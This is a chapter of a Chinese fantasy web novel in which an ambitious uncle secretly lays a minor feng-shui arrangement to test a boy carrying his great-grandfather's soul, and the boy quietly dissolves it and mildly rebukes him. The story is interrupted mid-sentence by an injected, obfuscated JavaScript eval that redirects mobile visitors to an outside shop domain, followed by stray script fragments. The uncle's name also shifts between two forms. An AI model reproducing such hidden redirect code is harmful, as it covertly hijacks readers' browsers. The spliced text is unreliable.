文趣网 > 都市小说 > 灵童归祖 > 11. 二叔试探,略施敲打
    白日喧嚣落尽,晚霞漫过青溪村的山头,将整片村落晕染成一片温润的橘红色。

    历经一日的喧嚣安稳,邻里孩童尽数恢复活泼嬉闹,街巷间笑语盈盈、烟火融融。一场悄无声息的余阴梦魇风波,被一碗祠堂香灰、一套古法安神之术彻底抹平,无痕无迹,只在邻里心中,愈发加深了对林念祖的敬重与信服。

    林家老宅之中,更是一派和睦安稳的景象。

    经过多日的修整调理、阴阳梳理,老宅气场愈发清正稳固。庭院草木青翠,地气和顺绵长,屋内暖意萦绕,再无半分此前阴冷滞涩的模样。一家人围坐院落乘凉闲谈,晚风轻柔、暮色安然,看似岁月静好、阖家融融,内里的人心暗流,却已然悄然滋生、暗中翻涌。

    林家二叔林建国,心中的忌惮与私欲,在连日的顺遂与尊崇之中,渐渐压过了宗族亲情。

    他今年四十有二,正值壮年,心思活络、功利心重,是林家兄弟里最沉不住气、最贪慕权势脸面的一人。往日里大哥林国柱掌家理事,公正公允、沉稳有度,他虽偶有不满,却也安分守己,恪守晚辈本分,从不肆意僭越。

    可自从六岁的小侄子林念祖大病苏醒、异状频发之后,一切都变了。

    起初,全家只当孩子撞邪失智、胡言乱语,无人当真。可随着一件件旧事秘闻被戳破、一桩桩阴邪怪事被化解、一次次家运危机被扭转,所有人的心态,都在潜移默化中彻底改变。

    先是证实稚子身藏太爷爷林守义魂魄,再是重整老宅风水、理顺家宅阴阳,随后化解邻里梦魇、安抚全村稚童。短短十余日,这个尚且不及灶台高的孩童,凭一己之力,扭转林家多年低迷运势,赢得全村上下的敬畏与信服。

    如今林家上下,上至父辈长辈、下至族中晚辈,无一不遵林念祖所言,无一不信服这具稚体里藏着的老者智慧与通天本事。家中大小事务、风水排布、邻里纠葛,乃至宗族后续发展,所有人下意识都会先问询林念祖的意见,将一个六岁孩童奉为林家的定海神针。

    这份尊崇,来得太快、太盛,彻底撼动了林建强心底的平衡。

    他看着父亲林国柱事事依从孩童,看着族中晚辈尽数俯首信服,看着整个林家的话语权、主导权,悄然落在一个乳臭未干的孩子身上,心底的不甘与忌惮,如同疯草般疯狂滋生。

    在他看来,林守义魂归子孙身躯,本是家族奇遇、祖上福泽,可这般奇遇,不该彻底架空现世族人的位置。

    太爷爷已然仙逝多年,阴阳殊途,本该安享香火、庇佑后人,不该常年寄居稚子身躯,插手阳间家族诸事,掌控林家大小命脉。长此以往,林家世代基业、宗族权柄,尽数会落在一个孩童身上,他们这些现世打拼、支撑家门的长辈,反倒沦为附庸摆设,一辈子抬不起头。

    更让他心底酸涩忌惮的是,近日林家运势暴涨、邻里声望鼎盛,无数好处机缘接踵而至,可所有荣光、所有恩情、所有敬畏,尽数归于林念祖一人。族人感恩、村民敬重,无人再记得林家诸位长辈的付出,所有人的目光,都紧紧锁定在那个小小的身影之上。

    私心作祟、权欲翻涌,林建强越想越是心沉,越是难以安分。

    他心中始终存着一丝侥幸与怀疑:连日来的种种神异,会不会只是凑巧?太爷爷的魂魄归体,会不会只是残念余息作祟,并非全然觉醒、神通尽在?这孩子化解的都是些邻里小厄、浅阴微祟,若遇上真正的局阵算计,未必真有通天手段。

    一念至此,试探之心,彻底生根发芽。

    他想要试一试,试一试这具稚体里的太爷爷,究竟本事几何、底蕴几分;试一试对方是真的洞悉阴阳、通晓阵法,还是只懂些许民间粗浅土方、碰巧化解小事。

    更重要的是,他想借着试探,摸清对方深浅,逼对方收敛锋芒,不要事事包揽、大权独握,给现世族人留几分立足的余地,免得日后林家彻底沦为孩童掌家,长辈全无话语权。

    暮色渐沉,夜色缓缓笼罩老宅。

    家人闲谈散去,各归屋舍歇息,庭院之中渐渐安静下来,只剩晚风穿庭、枝叶轻摇。无人留意,夜色掩映的阴暗角落,林家二叔林建国,独自留在了后院僻静之处。

    他眸光沉沉、神色复杂,褪去了白日的憨厚随和,眼底藏着私心算计与几分冒险的狠戾。

    他不敢布设伤人煞阵、不敢滋生凶邪恶局,唯恐酿成大祸、伤及族人、反噬家门。终究是血脉至亲、同族骨肉,他所求的只是试探深浅、敲打锋芒,而非毁家害亲、自断根基。

    思忖再三,他决定布设一处最隐蔽、最温和、最难察觉的滞气阴迷小局。

    此局无凶煞、无恶怨、无夺命伤人之威,算不上邪阵恶法,只是民间边角最寻常的阴滞小局。利用墙角阴地、夜露浊气,辅以细碎杂物错位排布,扰乱局部气场、凝滞周遭阳气,聚一缕微薄阴冷滞气。

    局成之后,不会伤人性命、不会滋生梦魇,只会让宅院局部气场淤堵沉闷、家人心绪浮躁、琐事频发、小厄不断,家中人气日渐低迷、和睦渐消。

    此局最妙之处,便是隐蔽无形、润物无声。

    不似凶煞那般戾气滔天、一眼可辨,寻常风水先生、乡间术士,根本难以察觉端倪。只会让人误以为是季节更替、人心浮动、家常琐碎,无人会疑心是人为布局作祟。

    他打的便是这个主意。

    若是林念祖察觉不出这细微阴局,便说明太爷爷魂魄已然衰弱,只剩些许粗浅本事,不足为惧,日后他便可徐徐图之,慢慢收回家族话语权,不再事事俯首听命于孩童。

    若是对方能够察觉化解,也算一次警醒敲打,让其知晓现世族人亦有心思、有底线,不可一味包揽大权、压制长辈,需懂得分寸、留有余地。

    夜色深沉,四下无人。

    林建国借着夜色掩护,动作迅速却又隐秘,在后院西南墙角悄然布阵。

    西南为坤位,属阴柔湿浊之地,白日少日照、夜里聚夜露,本就易聚细碎浊气,最适合布设这种无痕滞气小局。

    他取来三枚生锈旧铁钉、七片枯败槐叶、一小撮潮湿阴土,按照隐晦方位,错位摆放,暗合小阴局的滞气脉络。

    旧铁吸阴、枯叶滞气、湿土锁浊,三样寻常至极的物件,不含半分邪术禁法,只是借着方位气场的微妙变化,便能引地夜浊气汇聚、锁庭院阳气流转,悄然成型一方隐匿阴迷小局。

    整套布阵流程,做得极致隐秘、利落无声。

    全程避开庭院灯火、避开房屋窗棂视野,动作轻缓、不留声息,地上排布杂乱无章,看似随意丢弃的杂物,毫无阵法痕迹,任谁路过,只会当作是庭院清扫不净的零碎垃圾,绝不会疑心是人为布设的风水局阵。

    短短片刻,小局悄然成型。

    一缕极淡极沉的滞涩阴气,悄然在西南墙角凝聚、蛰伏,无声无息,缓缓影响着整片庭院的气场流转。

    布局完毕,林建强深深吐了一口气,眼底闪过一丝复杂神色,有忐忑、有期待、有侥幸,亦有几分愧疚。

    他最后深深看了一眼寂静的庭院,悄然拍去手上尘土,装作无事发生的模样,神色恢复如常,步履平缓,转身回屋歇息。

    他笃定自己布局天衣无缝、无痕无迹,绝无任何人能够察觉。

    却不知,从他驻足后院、心生算计的那一刻起,所有心思、所有动作、所有隐秘排布,尽数被庭院中闭目休憩的小小孩童,尽收感知之中。

    夜色微凉,屋内灯火已熄。

    林念祖静静躺在床榻之上,看似闭眼安睡、稚气安然,实则灵识舒展、遍覆全屋。

    自从祠堂祭祖、祖灵共鸣之后,他的阴阳灵识早已远超往日,通透敏锐、纤毫毕现。全屋气场、庭院脉络、乃至整片老宅的阴阳流转,皆在他的感知掌控之中,无半分隐秘。

    林建国心底翻涌的私心杂念、算计权衡,带着浓烈的人气私欲,浮躁外露,在他通透的感知里,清晰无比、一览无余。

    待到对方悄然布阵、转身离去,林守义缓缓睁开双眼,澄澈的眼眸在漆黑夜色里,不见半分孩童懵懂,只剩历经百年世事的沉稳、通透与淡漠。

    他清晰捕捉到西南墙角悄然滋生的一缕滞涩阴气。

    不凶、不烈、不毒,浅薄微弱、不成气候,是最浅显的民间滞气小局,无伤人之力,有扰家之效。

    手法粗浅、布局稚嫩、心思浅显,带着刻意的试探与算计,一目了然。

    一瞬间,林守义便彻底洞悉了二叔的所有心思。

    忌惮权旁落、不甘居人下、疑心自己掌控家族、想要试探深浅、敲打锋芒、争夺话语权。

    人心私欲,果然最是难测。

    外有山野阴邪、天地风波,尚且可以武力阵法化解;内有族人私心、骨肉猜忌,却是最难排解、最易破家的祸根。

    连日来他一心守护家族、安稳邻里,对内唯有调和和睦、包容忍让,从未想过同族至亲,会在风雨将临、外患渐生之时,生出内斗猜忌、私心算计,暗中布局试探自己。

    林守义心底微沉,却并无多少恼怒恨意,只剩一片通透冷静。

    他活八十九载,阅尽人心百态、看透宗族纷争。

    大家族看似枝叶繁茂、骨肉情深,实则利益纠缠、私心丛生。富贵安稳之时,尚可和睦相处、兄友弟恭;一旦权势偏移、利益倾斜,便极易滋生猜忌隔阂、算计争斗,古今皆是如此,无一例外。

    二叔有错,却非大恶。

    无害人之心、无毁家之念、无通邪之过,不过是权欲熏心、格局狭小、眼界浅薄、心存不甘,想要争一份脸面、握几分权柄罢了。

    若是他当众揭穿、厉声斥责,必会闹得家族难堪、兄弟反目、亲情破裂,平白制造家族嫌隙,让原本和睦的林家心生裂痕,得不偿失。

    若是他视而不见、一味忍让,只会纵容二叔的私心气焰,让对方愈发得寸进尺、肆意妄为,日后再生更多算计,埋下更大的家族隐患。

    故而,最好的处置法子,唯有不动声色、悄然破局、私下敲打、点到为止。

    既保全家族颜面、维系骨肉亲情,又敲打私心、震慑躁动、收敛贪欲、立住规矩。

    心念既定,林守义不再迟疑。

    他并未起身行动,依旧静静躺卧床榻,双目轻闭,看似安然熟睡。

    仅凭外放的灵识气机,悄然牵引屋内残存的祠堂香火正气、宅内充盈的和煦阳气,丝丝缕缕,悄然流转,隔空笼罩后院西南墙角的阴迷小局。

    他魂力凝练、灵识通透,掌控老宅气场如臂使指。

    那等粗浅稚嫩的人为小局,在百年阅历、通晓阴阳阵法的林守义眼中,形同儿戏、不堪一击。

    温暖纯正的阳气,缓缓冲刷墙角凝滞的阴浊滞气,温柔却霸道,润物无声、彻底消融。

    不过数息时间,林建强耗时半晌布设的滞气阴迷局,便被彻底瓦解、无痕破除。

    墙角锁滞的浊气尽数消散、错位的气场尽数归位、淤堵的地脉尽数通畅。

    那些用来布阵的旧钉、枯叶、湿土,依旧原样摆在角落,外形分毫未变,可其中暗藏的阴滞脉络、锁气玄机,已然被彻底粉碎、荡然无存,沦为一堆毫无用处的寻常杂物。

    外人肉眼观之,毫无变化、毫无痕迹,唯有林守义清楚,这场暗中试探,已然被他不声不响、彻底化解。

    破局之后,林守义并未就此作罢。

    欲正家族,先正人心;欲安家门,先除内患。

    今日姑息纵容,来日必生大乱。风雨将至,外患渐起,林家最忌内部分心、骨肉猜忌,绝不能任由族人私心作祟、自乱阵脚。

    他需要一次温和却有力的敲打,让二叔彻底清醒、收敛贪欲、安分守己、顾全大局。

    一夜安然无波,转瞬至次日天明。

    朝日东升、天光破晓,暖阳洒满庭院,一夜浊气尽数消散,老宅气场重回清正和顺、安稳祥和。

    昨夜布设阴局一事,如同从未发生,庭院整洁如常、家人安稳如故,无任何小厄滋生、无任何心绪浮躁,一切顺遂安然。

    林建国晨起之后,心中满是忐忑期待,不动声色地暗中观察宅内气场、家人状态。

    他本以为,滞气小局成型之后,今日家中必会琐事缠身、人心浮躁、氛围压抑,或多或少都会出现几分淤堵乱象。

    可整整一上午过去,家中诸事顺遂、家人心境平和,兄友弟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582261|205127||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    恭、笑语盈盈,庭院气场清正绵长,无半分滞涩沉闷。

    所有预想中的异状,尽数全无。

    林建国心底猛然一沉,惊疑不定。

    不可能!

    他亲手布设的局,手法稳妥、方位精准、毫无差错,绝无自行消散的道理!

    唯一的可能——被识破了,并且被悄无声息地彻底化解了!

    对方不仅洞悉了他的暗中算计,还全程不动声色、不破不立,不声不响抹平了所有痕迹,连一丝破绽都未曾流露。

    这一刻,林建国心底的侥幸、不甘、傲气,瞬间褪去大半,取而代之的是深深的震撼、忌惮与慌乱。

    他终于真切意识到,这具稚子身躯里藏着的,是真正洞悉阴阳、通晓阵法、心思深沉、城府通透的百年老者,绝非只会粗浅土方的寻常能人。

    自己那点私心算计、粗浅手段,在对方眼中,形同跳梁小丑、不堪一击,全程被看穿、被掌控,却连半点反抗、察觉的资格都没有。

    心中波澜翻涌,他面上却不敢流露分毫,只能强装镇定、故作如常,心底已然忐忑不安、悔意暗生。

    午后时分,家人各自忙碌,庭院之中一时无人,只剩林念祖独自坐在院中石阶上,乖乖摆弄着手中的野草,看似孩童闲散嬉闹,天真烂漫、无忧无虑。

    林建国心中心绪繁杂、坐立难安,终究按捺不住,借着路过庭院的契机,停在孩童身侧,目光复杂地看着眼前乖巧懵懂的小侄子。

    他犹豫再三,终究压下所有私心算计,勉强挤出一抹温和笑意,故作平常地开口:“念祖,在玩什么呢?”

    闻声,小小的孩童缓缓抬头。

    依旧是白皙稚嫩的小脸、清澈干净的眼眸,眉眼纯真、神态乖巧,看起来和普通六岁孩童别无二致。

    可那双澄澈眼眸望过来的瞬间,林建国心底莫名一紧,浑身骤然生出一股无形的压迫感。

    那是上位长辈俯瞰晚辈、洞悉所有心思、看透所有伪装的沉稳威压,穿透稚嫩皮囊,直击人心深处,让他所有的算计、伪装、侥幸,尽数无所遁形。

    不等林建国再说半分言语,软糯轻柔的孩童嗓音,缓缓响起,声调平淡温和,听不出喜怒,却字字清晰、句句戳心。

    “二叔,院里干净,莫堆杂东西,污地气、乱人心。”

    简简单单一句话,平淡无奇,却如同惊雷般在林建国心底炸响!

    院里干净,莫堆杂东西。

    污地气、乱人心。

    寥寥十二字,轻轻点点,不拆穿、不撕破、不问责、不追责。

    没有厉声斥责、没有当众揭穿、没有细数过错、没有迁怒怪罪,却精准点破他昨夜墙角布杂、污乱气场、私心扰家的所有隐秘!

    这是明示,也是警示。

    是包容,也是敲打。

    告诉他,昨夜之事,我尽数知晓、全盘洞悉;

    告诉他,我看破不说破,留你颜面、护你体面;

    告诉他,私心动念、暗中布局,污家地气、乱族人心,于家无益、于己有害;

    更是告诫他,安分守己、摒弃私心、和睦顾家,才是正道。

    林建国浑身一僵,脸上的笑意瞬间凝固,心底又惊又愧、又惧又悔,手足无措、无言以对。

    他彻底明白,自己昨夜所有的算计试探、暗中小动作,从头到尾,都被对方看得一清二楚。

    对方始终不动声色、包容隐忍,不揭穿家丑、不伤他脸面,给足了他长辈的尊严与退路。

    若是他依旧执迷不悟、心存侥幸,便是不知好歹、自毁根基。

    看着眼前眼神通透、心智远超年龄的孩童,林建强心底所有的权欲杂念、不甘算计,尽数烟消云散。

    他羞愧难当,满脸赧然,不敢再有半分杂念,低头轻声应道:“二叔知道了,是二叔糊涂,以后再也不会了。”

    语气诚恳,满是悔意与敬畏。

    闻言,林念祖只是淡淡看了他一眼,随后轻轻点头,不再多言,低下头继续摆弄手中野草,重回孩童嬉闹的纯真模样。

    敲打一次、点到为止、过则不究、既往不咎。

    人心需点醒,不可逼绝路。

    同族骨肉、至亲叔侄,知错能改,便留余地、予包容。

    林建国站在原地,久久未动,心底百感交集、幡然醒悟。

    他终于彻底放下了心底的权欲私心、猜忌不甘。

    风雨将至、外患暗藏、家族临危,林家最该做的是同心协力、抱团守家,而非内斗猜忌、争权夺利。

    太爷爷魂归护族、殚精竭虑,一心保全林家老小、安稳宗族基业、抵御来日风波,从未有过半分私心杂念。反观自己,格局狭隘、目光短浅,只顾眼前名利权柄,不顾家族安危大局,实在是浅薄可笑、愧对至亲。

    经此一事,林建国彻底收敛所有歪心思,褪去躁动贪欲,心底只剩敬畏与安分。

    自此之后,他彻底摒弃杂念、安分守己,真心信服林念祖的本事与格局,事事听从安排,不再计较权柄得失、不再心生猜忌算计,一心一意维系家族和睦、助力家门安稳。

    一场暗藏危机的家族私心试探,最终以最温和、最体面的方式悄然落幕。

    无争吵、无裂痕、无嫌隙、无丑态。

    看破不说破,知人不评人,敲打留余地,包容守亲情。

    庭院晚风轻拂,草木安然、日光和煦。

    孩童依旧嬉闹如常,家门依旧和睦安宁。

    唯有林守义心底清楚,家宅安稳,必先安内;宗族稳固,必先凝心。

    人心不定,则家运不宁;内患不除,则外忧必至。

    今日敲碎私心、稳住内局,便是为来日抵御风雨、镇守村落,筑牢最坚实的宗族根基。

    林家的内扰暗流,悄然平息。

    可他心中的警醒与戒备,丝毫未减。

    他深知,人心试探可温和化解,可后山暗藏的阴煞危机、即将席卷村落的阴阳风波,只会愈发临近、愈发凶猛。

    内局已稳,静待外局风起。

    来日漫漫,他仍需步步谨慎、层层布局,守好这一方家门、护好这一脉族人、镇好这一方乡土。